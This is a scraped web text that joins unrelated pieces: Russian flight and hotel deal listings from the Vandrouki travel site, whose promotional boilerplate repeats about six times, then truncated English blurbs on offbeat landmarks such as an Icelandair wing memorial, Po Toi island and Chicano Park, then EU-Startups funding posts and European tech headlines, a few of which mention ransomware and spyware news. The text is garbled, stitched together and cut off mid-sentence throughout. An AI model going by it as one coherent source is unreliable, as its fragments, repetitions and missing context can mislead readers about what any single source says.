Все варианты на двоих на 12 ночей (рейтинг — выше 7/10)Не забываем настроить сортировку:— самая низкая цена (с учётом налога)— итого (в т.ч.

Первый отель — 3200 рублей на человека / 6400 рублей на двоих:Второй отель — 4700 рублей на человека / 9400 рублей на двоих:Третий отель — 5300 рублей на человека / 10600 рублей на двоих:Другие даты перелетов:4-17 декабря7-22 декабря

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Азербайджанские Авиалинии снизили цены ноябрь-март: взять из Москвы, Питера и Екб в ОАЭ, Израиль, Таджикистан, Саудовскую Аравию, Индию и на Мальдивы можно со скидками.

Билеты берем через сервис aviasales.ru (тут дешевле всего).

Москва — Душанбе — Москва:Москва — Даммам — Москва:Москва — Дубай — Москва:Москва — Тель-Авив — Москва:Москва — Дели — Москва:Москва — Мумбаи — Москва:Москва — Мале — Москва в ноябре:Москва — Мале — Москва в январе:Москва — Мале — Москва в феврале:Москва — Мале — Москва в марте:Питер — Душанбе — Питер:Питер — Даммам — Питер:Питер — Дубай — Питер:Питер — Тель-Авив — Питер:Питер — Дели — Питер:Питер — Мумбаи — Питер:Питер — Мале — Питер в ноябре-декабре:Питер — Мале —…

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

On an isolated stretch of the Ring Road in South Iceland, a portion of a white wing from an Icelandair Boeing 757-200, has been mounted. It is dedicated to the service of aviation mechanics. The aircraft mechanic’s oath is printed on the wing. The wing is set against the stunning backdrop of sheer mountain cliffs and the island’s wilderness. It is not the location of an airplane wreck, and, there is no indication why this out-of-the-way location was chosen.

Referred to by locals as Hong Kong's 'South Pole', Po Toi is the territory's southernmost island. Covering an area of 3.69 square kilometres, the car-free island is one of Hong Kong's least populated islands, home to only 20 residents.

Once on the island, three hiking trails of varying difficulty allow visitors to reach the main points of interest. Among which are rock formations like Buddha's Palm Cliff or Tortoise Rock, the supposedly haunted ruins of Mo's old house, and the Tin Hau Temple.

Most historically significant are the Bronze age rock carvings, speculated to be over 3000 years old and supposedly hewn to appease sea gods. Po Toi is also a popular destination for campers and starga…

The theater shows a mix of first-run indie, foreign and repertory films, classic double features, and specialty screenings throughout the year. It’s known for unique events like a 70 mm film festival, regular Rocky Horror Picture Show with shadow casts, and long-running classics.

A signature tradition at the Music Box is its house organist, who performs before weekend screenings. The theater houses a custom organ that honors its silent-film era roots.

Architecturally, the Music Box features a deep blue, cove-lit ceiling dotted with twinkling stars designed to mimic an Italian courtyard. This creates the feeling of watching a film under an open night sky.

Beyond the main screen, the venue in…

Long before Collado Villalba had a town hall, it had a rock. Known as the Piedra del Concejo, this massive granite outcrop once served as the beating heart of local decision-making, where neighbors gathered in the open air to debate land disputes, local laws, and communal concerns in a form of direct democracy that predates modern institutions.

In 1724, the town’s mayor, known as Señor Sanz, ordered the stone to be reshaped with five carved steps, transforming it into a more comfortable civic platform. Chiseled into its surface are symbols, including a mysterious bird—interpreted as either a dove or the now-extinct francolin—that later became an emblem of the town itself.

Yet the stone’s st…

When thinking about rich biodiversity, the rainforest would come to mind for most people, but when it comes to plants it's actually a small nature reserve in southern South Africa. With an area of just 7 square miles (18 square km), the park is sizable, but no bigger than other nature reserves. Still it contains over 1800 species, 14% of all plants in South Africa, more than the entirety of the UK, and most other countries. When walking there this high density makes it so that you can find a new plant every minute of your hike.

Tourists and even locals sometimes miss one of the most historic and colorful free outdoor attractions in San Diego when they drive over the Coronado Bay Bridge to visit the sandy shores of Coronado. Underneath the pre-stressed concrete and steal of the bridge lies Chicano Park, home to one of the largest collections of outdoor murals in the United States. The vibrant murals are not just colorful artwork, but all have a meaningful message of Chicano Pride and the Hispanic history of oppression and resistance. That’s because this park would not exist if it weren’t for the Chicano movement in the 1970’s.

In the late1960’s the largely Hispanic neighborhood of Barrio Logan had five thousand res…

Taiwan imports almost all of its energy. That fact can make the island’s own oil history feel easy to forget. In Miaoli County, ChuHuangKeng is Taiwan’s most important early oil site. Local sources sometimes refer it as the first modern oil well area in East Asia. Labels can be disputed, but the place significance is without any doubt. It tells Taiwan’s main petroleum story for more than a century, from the 1861 discovery in the late Qing period, through Japanese rule, and all the way into the several wells that still produce natural gas today. The Taiwan Oil Field Exhibition Hall sits next to the old field. At the entrance stands a statue of three oil workers at a wellhead. CPC Corporation…

The Hitching Stone is a prominent landmark on the otherwise bland and gently sloping Keighley Moor in the Pennines of Yorkshire. Weighing over 1000 tonnes and 29 feet long, it is said to be the largest single boulder in the county. It is believed to be an erratic block, deposited here by glacial ice movement thousands or even millions of years ago. Being so unique for its area, it has become a prominent local landmark where councils, horse races, and fairs were once held.

Particular features of the rock have their own stories to tell. A long tunnel through the rock is said to have been left by a witch. Allegedly irritated by the rock's presence outside her house, she is said to have shoved …

Morlaix is a medieval market town in Brittany. The Old Quarter has many half-timbered buildings overhanging the narrow cobbled streets. The last thing you expect to see in such a quaint medieval town is modern street art. Huge, beautiful murals have been painted on the sides of ramshackle old buildings and modern blocks of flats. Some overlook ancient thoroughfares and others busy car-parks.

The art has been created by a number of artists and tours are available to see them all, however on any walk around the town centre you will discover unexpected colourful surprises.

The Poolsmoor prison is a decades old maximum-security prison that hosted a variety of people, including Nelson Mandela after his release from Robben Island. With over 7000 inmates it does not appear in most people's travel itinerary, but perhaps surprisingly it should because it hosts an (in)famous restaurant called Pollsmoor Restaurant "Idlanathi" (or Zulu for "come eat with us"). The restaurant, which is open for breakfast and lunch, is not only special for its location but also for the staff, as it is fully run by inmates close to the end of their sentence, with the idea to provide them with useful skills for functioning in the outside world. There are also guards nearby so there is vir…

Four outer walls remain of this beautiful church which has lost its roof and been taken over by nature. Part of the structure dates back to 1086 and was one of two local churches registered in the Domesday Book. Over time it was too costly to maintain both churches and this one was decaying and at risk of falling.

In 1947, vibrations from a low-flying aircraft caused the tower to collapse. The church fell into further disrepair after this.

Watching the Olympic Games, it may often feel like they are as much about pomp and ceremony as they are about sports. The International Olymic Committee (IOC) has a long list of protocols that need to take place during opening and closing ceremonies, the playing of the Olympic and National Anthems and lighting of the flame, for example; and medal ceremonies have similar requirements. Looking at the Games of the 21st century, it becomes clear that many of these traditions have their origins in the birth of the modern Games in 1896 Europe, a context of chivalrous ideals marred by racist notions of superiority; while other traditions can be traced further back to the original games in Ancient …

There is one major international airport within the limits of Mexico City, and it is known by many names. The official full name is Aeropuerto Internacional Benito Juárez, after the country's president from 1858 and 1872, who became one of the most influential figures in its history. Shorter versions include AICM (Aeropuerto Internacional de la Ciudad de México, or Mexico City International Airport) and its three-letter code MEX. The first airport operations at this site began in 1915, becoming international by 1943, and considered to be at capacity since 2014. The airport has had many expansions and renovations, although is unlikely to be able to grow any more as it is practially surrounde…

It really makes you stop and look twice as it is very out of place it's almost comical when you see it. It sits in a quiet park on the edge of the even quieter commune of Soing-Cubry-Charentenay. It was built in 1992 by local volunteers for the EuroSaône festival and weighs about 2.5 tonnes of iron.

Hidden within the post-industrial landscape of Ruda Śląska, the blast furnace of the former Huta Pokój is one of the most striking surviving examples of heavy industry architecture in southern Poland. Rising above its surroundings with an almost cathedral-like presence, the structure reflects the immense scale and ambition of 19th- and 20th-century metallurgy in Upper Silesia.

Huta Pokój was founded in the mid-19th century and quickly became a key component of the region’s rapidly expanding iron and steel industry. Fueled by nearby coal mines and supported by an extensive railway network, the facility played a crucial role in supplying steel for infrastructure, machinery, and wartime produc…

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The post Weekly funding round-up! All of the European startup funding rounds we tracked this week (Feb. 23-27) appeared first on EU-Startups.

Following up on our country deep-dive series, we now turn to Poland, one of Central and Eastern Europe’s largest and most established startup ecosystems. With major hubs in Warsaw and Kraków, Poland combines a strong technical talent base with growing venture activity across AI, healthtech, cybersecurity, agritech, defence, and digital platforms. Poland’s ecosystem benefits from […]

The post Poland’s new tech wave: 10 of the most promising startups to watch in 2026 appeared first on EU-Startups.

Encord, the data infrastructure company for physical AI, today announced a €50 million ($60 million) Series C in order to accelerate product development, expand into new markets, and scale its AI-native data infrastructure platform as physical AI systems move from pilot programmes into full production. The round was led by Wellington Management, bringing the company’s […]

The post London-based Encord raises €50 million to support next phase of physical AI deployment appeared first on EU-Startups.

In the last year, we’ve seen huge strides in AI development and adoption. Whilst staggering valuations take the headlines, I’m interested in the coming data drought, opportunities in healthcare, and space tech. These are the industries where we expect the most impact to be achieved. New AI data sources: a huge market opportunity Gaining access […]

The post AI in 2026: The data drought, healthcare opportunities, and space tech appeared first on EU-Startups.

St. Gallen-based storage marketplace storabble has acquired the key assets of Düsseldorf-based mobile storage provider on-storage. The transaction represents storabble’s first acquisition and includes on-storage’s technology platform, logistics management systems, and brand assets. Financial terms were not disclosed. “Our goal has always been to create the one place people go when they need storage, whether […]

The post Swiss “Shark Tank” winner storabble acquires Germany’s on-storage to consolidate Europe’s fragmented storage market appeared first on EU-Startups.

Sparqle, an Amsterdam-based startup building an emission-free logistics infrastructure for modern e-commerce, has raised €1.5 million, including financing from the European Union, for European expansion. The company is active in the Netherlands, Belgium, and France and is working to expand into multiple European cities. “Our mission is to create a logistics ecosystem that combines sustainability […]

The post Amsterdam’s Sparqle secures €1.5 million with EU backing to scale emission-free delivery across Europe appeared first on EU-Startups.

Munich-based Ark Climate, a software company that offers an end to end solution for municipal climate action, has raised €2.1 million in a pre-Seed round to grow their team, expand their presence in the German market and develop advanced emission data and AI models. The round was led by the Climate Tech VC Satgana, joined […]

The post German municipalities could cut 100 million tonnes of CO2e – Ark Climate raises €2.1 million to support local action appeared first on EU-Startups.

Frankfurt-based Oska Health, a hybrid care provider combining personal health coaches with AI, has raised €11 million in Seed funding to scale its continuous care model for high-risk, chronically ill patients. The round is led by Capricorn Partners and SwissHealth Ventures, with participation from Revent, Calm Storm, LBBW Venture Capital, BMH, GoHub Ventures, and Aurum […]

The post With half of chronically ill patients failing to take medication correctly, Oska Health secures €11 million for personal health app appeared first on EU-Startups.

CommonAI has announced the UK’s Advanced Research and Invention Agency (ARIA) as its newest member, supported by an initial €18 million (£16 million) grant (part of a total €57 million (£50 million) commitment) that will focus on developing the UK’s scaling inference capability. The platform was originally launched by Anthemis and Cambridge AI Venture Partners […]

The post UK’s ARIA joins CommonAI with €18 million grant to strengthen AI compute delivery appeared first on EU-Startups.

This week on the EU-Startups podcast, we sit down with Enrico Giacomelli, Founder and Chairman of Namirial, one of Europe’s leading Digital Transaction Management and Qualified Trust Service Provider (QTSP) groups. From a small Italian software house to a pan-European digital trust leader valued at approximately €1.1 billion, Namirial’s journey reflects steady growth and strategic […]

The post The EU-Startups Podcast | Interview with Enrico Giacomelli the Founder and Chairman of Namirial appeared first on EU-Startups.

Seraphim Space, a London-based SpaceTech investment group, today announces the latest closing of its oversubscribed early-stage venture fund to support ventures at the Seed and Series A stage – exceeding its previous €84 million ($100 million) target. Investors include the British Business Bank (BBB), and the National Security Strategic Investment Fund (NSSIF). Alongside new strategic […]

The post Seraphim Space surpasses €84 million target with latest close of early-stage SpaceTech fund appeared first on EU-Startups.

We are excited to announce that Dimitris Vassos, Chief Executive Officer and Co-founder of Omilia, will join the speaker line-up at the EU-Startups Summit 2026 on May 7-8 in sunny Malta. Founded in 2002, Omilia is one of the most advanced Voice AI and Agentic CX platforms globally, enabling enterprises to deliver seamless, human-like customer […]

The post Dimitris Vassos, Co-founder and CEO of Omilia joins the speaker line-up at the EU-Startups Summit 2026! appeared first on EU-Startups.

Alpa, a London-based hospitality-focused FinTech startup, today announced that it has raised €2.9 million ($3.5 million) in its pre-Seed funding round to strengthen its core product and engineering capabilities. The round was led by Daphni, with participation from True Capital, 2100 Ventures, Firedrop, Oprtrs Club, Kima Ventures, and Sonorcap. A group of hospitality and tech […]

The post Taster founder’s UK FinTech startup Alpa raises €2.9 million to build the financial operating system for hospitality appeared first on EU-Startups.

Foodforecast, a Cologne-based AI FoodTech startup specialising in demand and production forecasting for ultra-fresh food supply chains, today announced that it has secured €8 million in Series A funding to fuel international growth and enterprise-ready expansion. The round was co-led by SHIFT Invest and ECBF, with participation from existing investors Future Food Fund and Aeronaut […]

The post German AI FoodTech startup Foodforecast raises €8 million to tackle ultra-fresh food wastage appeared first on EU-Startups.

Dwelly, a London-based property management platform acquiring and digitising independent letting agencies, has secured over €79.3 million (£69 million) in combined equity and debt funding to accelerate its expansion across the UK. The raise includes a €36.8 million equity round led by General Catalyst, with participation from Begin Capital and S16VC, alongside a €42.55 million […]

The post London-based Dwelly secures over €79.3 million to scale AI-driven rental marketplace appeared first on EU-Startups.

This week, we tracked more than 70 tech funding deals worth over €2 billion and 5 exits, M&A transactions, rumours, and related news stories across Europe. On the fourth anniversary of Russia’s un...

Monzo’s former CEO TS Anil has been appointed vice-chair of Monzo’s board, in a shake-up which sees an executive from an existing Monzo investor and a former Y Combinator executive take non-executive ...

I’m sure the creators of the internet never thought of a time when phrases like doomscrolling, social media addiction, and bed rot would be mainstream. But here we are. If you’ve ever jolted yourself ...

Today, The Rise Report, a new nationwide study, has found that UK female entrepreneurs identify human connection as the cornerstone of resilience, growth and business success. This report is commissio...

InSpacePropulsion Technologies (ISPTech), a German space tech company developing propulsionsystems designed to enable fast and agile in-orbit manoeuvring, has raised €5.5million to advance deployment ...

ChatGPT developer OpenAI is to make London its largest research hub outside of its San Francisco headquarters, it announced today, signifying a vote of confidence in the city. The US AI frontier lab, ...

FlyFocus, a Poland-based defence technology companyspecialising in unmanned aerial systems (UAS) and avionics, has raised €4.5million in a funding round led by ffVC, with participation from the NCBRIn...

Ukraine offers a rare combination: deep technical talent, a startup ecosystem tested under extreme conditions, digital-first public infrastructure, supportive regulation, and urgent national demand th...

French AI startup Mistral has struck a multi-year deal with consulting giant Accenture to help companies deploy AI technology and customise their AI offering. The deal comes as AI companies like Mistr...

In 2025, European tech investment reached €72 billion,making it the second-strongest year of the past three. Within this landscape,the Netherlands ranked fourth, behind the UK, Germany, and France, wi...

Following our previous announcements, we are excited to unveil a new group of confirmed speakers for the Tech.eu Summit London 2026. The Tech.eu Summit London 2026 will take place on 21–22 April 2026...

Fusion energy company Proxima Fusion has signed an agreement with the Free State of Bavaria, RWE, and Max Planck Institute for Plasma Physics (IPP) to put the world’s first commercial stellarator fusi...

A UK AI infrastructure startup founded by Cambridge neuroscientists offering a counter view to the “monoculture” that believes superintelligence will come from a single “God-like” AI model running on ...

Oska Health, a hybrid careprovider combining personal health coaches with AI, has raised €11 million in seed funding to scale its continuous care model for high-risk, chronically illpatients. The roun...

Founders House has officially launched in Helsinki, bringing a highly successful Swedish “founder factory” to Finland. Founders House Helsinki is a highly selective workspace and community for Finla...

EU lawmakers found their government-issued devices were blocked from using the baked-in AI tools, amid fears that sensitive information could turn up on the U.S. servers of AI companies.

An alleged ransomware attack has taken down the systems of the Sapienza University of Rome.

The Irish government announced that it wants to pass a law that would grant police more surveillance powers, such as using spyware to fight serious crime, while aiming to protect the privacy rights of its citizens.

Europe's startup market hasn't produced meaningful numbers but there is reason to believe the data will start to change.

Apple is adding renewable power to offset customer charging and support its operations, including third-party manufacturing in China.

Four major European airports in Berlin, Brussels, Dublin, and London continue to have flight delays due to a cyberattack on Collins Aerospace, a provider of check-in systems.

A cyberattack targeting Collins Aerospace, a provider of airport check-in systems, sparked delays and disrupted flights across Europe over the weekend.

Dawn Capital’s latest partner, Shamillah Bankiya, stopped by Equity this week to talk about the European landscape and the biggest misconceptions Americans have about the European startup world.

Europe’s startup scene is having a moment, with European unicorns multiplying and American VCs setting up shop across the pond. But while European funding dominates the early stages, late-stage capital still flows primarily from the U.S. So what does this mean for European founders, and how is the continent carving out its own identity in […]

The companies want to launch the robotaxi services in Germany and the U.K. first, pending regulatory approval.

Europe’s fintech darling Revolut is looking to raise a new funding round that would give it a $65 billion valuation, the Financial Times reports. The UK-based company is reportedly in talks to raise around $1 billion by issuing new shares and selling existing ones. The US-based firm Greenoaks is said to be leading the round, […]

The confirmation of two hacked victims further deepens an ongoing spyware scandal that, for now, appears largely focused on the Italian government.

The Italian government claims that accepting Paragon’s help would have compromised national security and classified information.

All Thibault Launay and his wife Simi wanted nearly five years ago was to build a dream home in Portugal, where they both now live. But what they encountered instead was a broken system. “Fourteen months of delays, 20% budget overruns, and endless stress managing over 10 subcontractors,” Thibault recalled. They bought the land in […]

This week on StrictlyVC Download, Strictly VC’s Alex Gove speaks with Eric Slesinger from 201 Ventures, a firm focused on seed-stage defense tech startups in Europe. They discuss Slesinger’s journey from CIA to investor and how he recognized the untapped potential in European defense tech while others were dismissive. They also chat about how he’s […]